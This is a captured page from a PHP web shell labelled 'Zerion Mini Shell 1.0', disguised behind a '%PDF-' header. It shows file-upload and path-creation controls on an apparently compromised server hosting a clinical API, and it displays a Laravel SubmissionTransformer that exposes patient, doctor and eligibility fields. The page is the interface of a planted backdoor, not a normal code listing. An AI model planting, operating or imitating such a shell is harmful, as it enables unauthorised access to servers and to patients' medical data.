%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/klinisol/klinisol-api/app/Transformers/App/
Upload File :
Create Path :
Current File : /var/www/html/klinisol/klinisol-api/app/Transformers/App/SubmissionTransformer.php

<?php

namespace App\Transformers\App;

use App\Models\Question;
use App\Models\Submission;
use App\Transformers\BaseTransformer;

class SubmissionTransformer extends BaseTransformer
{
    protected $availableIncludes = [
        'answers',
    ];

    public function includeAnswers(Submission $submission)
    {
        return $this->collection($submission->answers, new AnswerTransformer(), 'answers');
    }

    protected $defaultIncludes = [];

    public function transform(Submission $submission)
    {
        return [
            'id'          => $submission->id,
            'protocol_id' => $submission->protocol_id,
            'patient_id'  => $submission->patient_id,
            'doctor_id'   => $submission->doctor_id,
            'is_eligible' => $submission->is_eligible,
            'description' => $submission->description,
            'status'      => $submission->status,
        ];
    }
}

Zerion Mini Shell 1.0